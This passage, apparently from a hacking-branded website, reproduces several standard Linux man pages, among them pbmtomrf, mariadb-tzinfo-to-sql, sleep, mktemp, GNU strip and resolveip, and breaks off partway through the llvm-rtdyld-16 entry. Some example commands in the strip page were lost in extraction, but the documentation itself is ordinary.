░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1214 - Linux cli command pbmtomrf

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmtomrf and provides detailed information about the command pbmtomrf, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmtomrf.

.

NAME 🖥️ pbmtomrf 🖥️

convert a PBM format image to MRF

SYNOPSIS

pbmtomrf

[pbmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pbmtomrf converts a PBM image to MRF format.

For more information about mrf, see “theMRF specification” (1) .

pbmtomrf takes the PBM image from the file named by the input.pbm argument, or Standard Input if you don’t specify input.pbm. The output goes to Standard Output.

The compression of the edges of pictures with width and/or height not an exact multiple of 64 is not optimal in all cases.

OPTIONS

There are no command line options defined specifically for pbmtomrf, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

AUTHOR

Russell Marks.

SEE ALSO

pbmtomrf(1) , pbm(1) , mrf(1)

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmtomrf.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1215 - Linux cli command mariadb-tzinfo-to-sql

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mariadb-tzinfo-to-sql and provides detailed information about the command mariadb-tzinfo-to-sql, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mariadb-tzinfo-to-sql.

NAME 🖥️ mariadb-tzinfo-to-sql 🖥️

tzinfo-to-sql - load the time zone tables (mysql_tzinfo_to_sql is now a symlink to mariadb-tzinfo-to-sql)

SYNOPSIS

mysql_tzinfo_to_sql arguments

DESCRIPTION

The mysql_tzinfo_to_sql program loads the time zone tables in the mysql database. It is used on systems that have a zoneinfo database (the set of files describing time zones). Examples of such systems are Linux, FreeBSD, Solaris, and Mac OS X. One likely location for these files is the /usr/share/zoneinfo directory (/usr/share/lib/zoneinfo on Solaris).

mysql_tzinfo_to_sql can be invoked several ways:

shell> mysql_tzinfo_to_sql tz_dir shell> mysql_tzinfo_to_sql tz_file tz_name shell> mysql_tzinfo_to_sql –leap tz_file shell> mysql_tzinfo_to_sql –skip-write-binlog tz_dir

For the first invocation syntax, pass the zoneinfo directory path name to mysql_tzinfo_to_sql and send the output into the mysql program. For example:

shell> mysql_tzinfo_to_sql /usr/share/zoneinfo | mysql -u root mysql

mysql_tzinfo_to_sql reads your system’s time zone files and generates SQL statements from them. mysql processes those statements to load the time zone tables.

The second syntax causes mysql_tzinfo_to_sql to load a single time zone file tz_file that corresponds to a time zone name tz_name:

shell> mysql_tzinfo_to_sql tz_file tz_name | mysql -u root mysql

If your time zone needs to account for leap seconds, invoke mysql_tzinfo_to_sql using the third syntax, which initializes the leap second information. tz_file is the name of your time zone file:

shell> mysql_tzinfo_to_sql –leap tz_file | mysql -u root mysql

Using the –skip-write-binlog option prevents writing of changes to the binary log or to other Galera cluster members. This can be used with any form of running mysql_tzinfo_to_sql.

After running mysql_tzinfo_to_sql, it is best to restart the server so that it does not continue to use any previously cached time zone data.

COPYRIGHT

Copyright 2007-2008 MySQL AB, 2008-2010 Sun Microsystems, Inc., 2010-2020 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1216 - Linux cli command sccmap

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sccmap and provides detailed information about the command sccmap, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sccmap.

NAME 🖥️ sccmap 🖥️

extract strongly connected components of directed graphs

SYNOPSIS

sccmap [-dsv] [ -ooutfile ] [ files ]

DESCRIPTION

sccmap decomposes digraphs into strongly connected components and an auxiliary map of the relationship between components. In this map, each component is collapsed into a node. The resulting graphs are printed to standard out. The number of nodes, edges and strongly connected components are printed to standard error. sccmap is a way of partitioning large graphs into more manageable pieces.

OPTIONS

The following options are supported:

-d
Preserve degenerate components of only one node.

-s
Do not print the resulting graphs. Only the statistics are important.

-S
Just print the resulting graphs. No statistics are printed.

-ooutput
Prints output to the file output. If not given, sccmap uses stdout.

-v
Generate additional statistics. In particular, sccmap prints the number of nodes, edges, connected components, and strongly connected components, followed by the fraction of nodes in a non-trivial strongly connected components, the maximum degree of the graph, and fraction of non-tree edges in the graph.

OPERANDS

The following operand is supported:

files
Names of files containing 1 or more graphs in dot format. If no files operand is specified, the standard input will be used.

DIAGNOSTICS

sccmap emits a warning if it encounters an undirected graph, and ignores it.

AUTHORS

Stephen C. North <[email protected]>
Emden R. Gansner <[email protected]>

SEE ALSO

gc(1), dot(1), acyclic(1), gvpr(1), gvcolor(1), ccomps(1), tred(1), libgraph(3)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1217 - Linux cli command sleep

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sleep and provides detailed information about the command sleep, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sleep.

NAME 🖥️ sleep 🖥️

delay for a specified amount of time

SYNOPSIS

sleep NUMBER[SUFFIX]…
sleep OPTION

DESCRIPTION

Pause for NUMBER seconds. SUFFIX may be ’s’ for seconds (the default), ’m’ for minutes, ‘h’ for hours or ’d’ for days. NUMBER need not be an integer. Given two or more arguments, pause for the amount of time specified by the sum of their values.

–help
display this help and exit

–version
output version information and exit

AUTHOR

Written by Jim Meyering and Paul Eggert.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

sleep(3)

Full documentation <https://www.gnu.org/software/coreutils/sleep>
or available locally via: info ‘(coreutils) sleep invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1218 - Linux cli command mktemp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mktemp and provides detailed information about the command mktemp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mktemp.

NAME 🖥️ mktemp 🖥️

create a temporary file or directory

SYNOPSIS

mktemp [OPTION]… [TEMPLATE]

DESCRIPTION

Create a temporary file or directory, safely, and print its name. TEMPLATE must contain at least 3 consecutive ‘X’s in last component. If TEMPLATE is not specified, use tmp.XXXXXXXXXX, and –tmpdir is implied. Files are created u+rw, and directories u+rwx, minus umask restrictions.

-d, –directory
create a directory, not a file

-u, –dry-run
do not create anything; merely print a name (unsafe)

-q, –quiet
suppress diagnostics about file/dir-creation failure

–suffix=SUFF
append SUFF to TEMPLATE; SUFF must not contain a slash. This option is implied if TEMPLATE does not end in X

-p DIR, –tmpdir[=DIR]
interpret TEMPLATE relative to DIR; if DIR is not specified, use $TMPDIR if set, else /tmp. With this option, TEMPLATE must not be an absolute name; unlike with -t, TEMPLATE may contain slashes, but mktemp creates only the final component

-t
interpret TEMPLATE as a single file name component, relative to a directory: $TMPDIR, if set; else the directory specified via -p; else /tmp [deprecated]

–help
display this help and exit

–version
output version information and exit

AUTHOR

Written by Jim Meyering and Eric Blake.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

mkstemp(3), mkdtemp(3), mktemp(3)

Full documentation <https://www.gnu.org/software/coreutils/mktemp>
or available locally via: info ‘(coreutils) mktemp invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1219 - Linux cli command i686-w64-mingw32-strip

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command i686-w64-mingw32-strip and provides detailed information about the command i686-w64-mingw32-strip, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the i686-w64-mingw32-strip.

NAME 🖥️ i686-w64-mingw32-strip 🖥️

discard symbols and other data from object files

SYNOPSIS

strip [-F bfdname |–target=bfdname] [-I bfdname |–input-target=bfdname] [-O bfdname |–output-target=bfdname] [-s|–strip-all] [-S|-g|-d|–strip-debug] [–strip-dwo] [-K symbolname|–keep-symbol=symbolname] [-M|–merge-notes][–no-merge-notes] [-N symbolname |–strip-symbol=symbolname] [-w|–wildcard] [-x|–discard-all] [-X |–discard-locals] [-R sectionname |–remove-section=sectionname] [–keep-section=sectionpattern] [–remove-relocations=sectionpattern] [–strip-section-headers] [-o file] [-p|–preserve-dates] [-D|–enable-deterministic-archives] [-U|–disable-deterministic-archives] [–keep-section-symbols] [–keep-file-symbols] [–only-keep-debug] [-v |–verbose] [-V|–version] [–help] [–info] objfile

DESCRIPTION

GNU strip discards all symbols from object files objfile. The list of object files may include archives. At least one object file must be given.

strip modifies the files named in its argument, rather than writing modified copies under different names.

OPTIONS

-F bfdname

–target=bfdname

Treat the original objfile as a file with the object code format bfdname, and rewrite it in the same format.

–help
Show a summary of the options to strip and exit.

–info
Display a list showing all architectures and object formats available.

-I bfdname

–input-target=bfdname

Treat the original objfile as a file with the object code format bfdname.

-O bfdname

–output-target=bfdname

Replace objfile with a file in the output format bfdname.

-R sectionname

–remove-section=sectionname

Remove any section named sectionname from the output file, in addition to whatever sections would otherwise be removed. This option may be given more than once. Note that using this option inappropriately may make the output file unusable. The wildcard character * may be given at the end of sectionname. If so, then any section starting with sectionname will be removed. If the first character of sectionpattern is the exclamation point (!) then matching sections will not be removed even if an earlier use of –remove-section on the same command line would otherwise remove it. For example: –remove-section=.text.* –remove-section=!.text.foo will remove all sections matching the pattern ‘.text.*’, but will not remove the section ‘.text.foo’.

–keep-section=sectionpattern
When removing sections from the output file, keep sections that match sectionpattern.

–remove-relocations=sectionpattern
Remove relocations from the output file for any section matching sectionpattern. This option may be given more than once. Note that using this option inappropriately may make the output file unusable. Wildcard characters are accepted in sectionpattern. For example: –remove-relocations=.text.* will remove the relocations for all sections matching the patter ‘.text.*’. If the first character of sectionpattern is the exclamation point (!) then matching sections will not have their relocation removed even if an earlier use of –remove-relocations on the same command line would otherwise cause the relocations to be removed. For example: –remove-relocations=.text.* –remove-relocations=!.text.foo will remove all relocations for sections matching the pattern ‘.text.*’, but will not remove relocations for the section ‘.text.foo’.

–strip-section-headers
Strip section headers. This option is specific to ELF files. Implies –strip-all and –merge-notes.

-s

–strip-all

Remove all symbols.

-g

-S

-d

–strip-debug

Remove debugging symbols only.

–strip-dwo
Remove the contents of all DWARF .dwo sections, leaving the remaining debugging sections and all symbols intact. See the description of this option in the objcopy section for more information.

–strip-unneeded
Remove all symbols that are not needed for relocation processing in addition to debugging symbols and sections stripped by –strip-debug.

-K symbolname

–keep-symbol=symbolname

When stripping symbols, keep symbol symbolname even if it would normally be stripped. This option may be given more than once.

-M

–merge-notes

–no-merge-notes

For ELF files, attempt (or do not attempt) to reduce the size of any SHT_NOTE type sections by removing duplicate notes. The default is to attempt this reduction unless stripping debug or DWO information.

-N symbolname

–strip-symbol=symbolname

Remove symbol symbolname from the source file. This option may be given more than once, and may be combined with strip options other than -K.

-o file
Put the stripped output in file, rather than replacing the existing file. When this argument is used, only one objfile argument may be specified.

-p

–preserve-dates

Preserve the access and modification dates of the file.

-D

–enable-deterministic-archives

Operate in deterministic mode. When copying archive members and writing the archive index, use zero for UIDs, GIDs, timestamps, and use consistent file modes for all files. If binutils was configured with –enable-deterministic-archives, then this mode is on by default. It can be disabled with the -U option, below.

-U

–disable-deterministic-archives

Do not operate in deterministic mode. This is the inverse of the -D option, above: when copying archive members and writing the archive index, use their actual UID, GID, timestamp, and file mode values. This is the default unless binutils was configured with –enable-deterministic-archives.

-w

–wildcard

Permit regular expressions in symbolnames used in other command line options. The question mark (?), asterisk (*), backslash (\ and square brackets ([]) operators can be used anywhere in the symbol name. If the first character of the symbol name is the exclamation point (!) then the sense of the switch is reversed for that symbol. For example: -w -K !foo -K fo* would cause strip to only keep symbols that start with the letters “fo”, but to discard the symbol “foo”.

-x

–discard-all

Remove non-global symbols.

-X

–discard-locals

Remove compiler-generated local symbols. (These usually start with L or ..)

–keep-section-symbols
When stripping a file, perhaps with –strip-debug or –strip-unneeded, retain any symbols specifying section names, which would otherwise get stripped.

–keep-file-symbols
When stripping a file, perhaps with –strip-debug or –strip-unneeded, retain any symbols specifying source file names, which would otherwise get stripped.

–only-keep-debug
Strip a file, emptying the contents of any sections that would not be stripped by –strip-debug and leaving the debugging sections intact. In ELF files, this preserves all the note sections in the output as well. Note - the section headers of the stripped sections are preserved, including their sizes, but the contents of the section are discarded. The section headers are preserved so that other tools can match up the debuginfo file with the real executable, even if that executable has been relocated to a different address space. The intention is that this option will be used in conjunction with –add-gnu-debuglink to create a two part executable. One a stripped binary which will occupy less space in RAM and in a distribution and the second a debugging information file which is only needed if debugging abilities are required. The suggested procedure to create these files is as follows:

  1. foo then…

  2. create a file containing the debugging info.

  3. stripped executable.

  4. to add a link to the debugging info into the stripped executable.

Note—the choice of .dbg as an extension for the debug info file is arbitrary. Also the --only-keep-debug step is optional. You could instead do this:

i.e., the file pointed to by the –add-gnu-debuglink can be the full executable. It does not have to be a file created by the –only-keep-debug switch. Note—this switch is only intended for use on fully linked files. It does not make sense to use it on object files where the debugging information may be incomplete. Besides the gnu_debuglink feature currently only supports the presence of one filename containing debugging information, not multiple filenames on a one-per-object-file basis.

-V

–version

Show the version number for strip.

-v

–verbose

Verbose output: list all object files modified. In the case of archives, strip -v lists all members of the archive.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1220 - Linux cli command resolveip

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command resolveip and provides detailed information about the command resolveip, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the resolveip.

NAME 🖥️ resolveip 🖥️

resolve host name to IP address or vice versa

SYNOPSIS

resolveip [options] {host_name|ip-addr} …

DESCRIPTION

The resolveip utility resolves host names to IP addresses and vice versa.

Invoke resolveip like this:

shell> resolveip [options] {host_name|ip-addr} …

resolveip supports the following options.

·

–help, –info, -?, -I

Display a help message and exit.

·

–silent, -s

Silent mode. Produce less output.

·

–version, -V

Display version information and exit.

COPYRIGHT

Copyright 2007-2008 MySQL AB, 2008-2010 Sun Microsystems, Inc., 2010-2020 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1221 - Linux cli command mailodf

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mailodf and provides detailed information about the command mailodf, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mailodf.

NAME 🖥️ mailodf 🖥️

Email ODF file as HTML archive

SYNOPSIS

mailodf [-f from] [-s subject] inputfile recipients

DESCRIPTION

mailodf is a program that will create a MIME-encapsulated web archive and then sends it as an email. Most email programs that understand HTML understands this format.

“Inputfile” is assumed to be an OpenDocument file of text, spreadsheet or presentation type.

REFERENCES

HTTRACK (http://www.httrack.com/) can create such archives with the -%M option.

http://en.wikipedia.org/wiki/MHTML

http://www.dsv.su.se/~jpalme/ietf/mhtml.html

http://users.otenet.gr/~geosp/kmhtconvert/

http://www.faqs.org/rfcs/rfc2557.html

EXAMPLE

mailodf -f [email protected] -s “F.Y.I” odf-file

SEE ALSO

odf2mht

AUTHOR

Søren Roug

Original author

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1222 - Linux cli command ppmtoapplevol

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmtoapplevol and provides detailed information about the command ppmtoapplevol, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmtoapplevol.

.

NAME 🖥️ ppmtoapplevol 🖥️

convert a PPM into an Apple volume label image

SYNOPSIS

ppmtoapplevol

[ppmfile]

DESCRIPTION

This program is part of Netpbm(1) .

ppmtoapplevol reads a PPM image as input and produces an Apple volume label image as output.

EFI-based Apple systems use a simple image format to provide textual labels for devices. This program generates that format.

The input image must be exactly 12 rows tall and up to 255 columns wide. The program fails if it is not. Use pamfile to see the dimensions of your image and pamscale or pamcut to make it 12 rows and less than 256 columns if it isn’t.

Netpbm does not have a converter for the other direction.

ARGUMENTS

The optional ppmfile argument is the name of the input file. The default is to read the input image from Standard Input.

OPTIONS

There are no command line options defined specifically for ppmtoapplevol, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pamfile(1) pamcut(1) ppm(1)

HISTORY

ppmtoapplevol was new in Netpbm 10.54 (March 2011).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmtoapplevol.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1223 - Linux cli command llvm-rtdyld-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-rtdyld-16 and provides detailed information about the command llvm-rtdyld-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-rtdyld-16.

NAME 🖥️ llvm-rtdyld-16 🖥️

rtdyld - manual page for llvm-rtdyld 16

DESCRIPTION

OVERVIEW: llvm MC-JIT tool

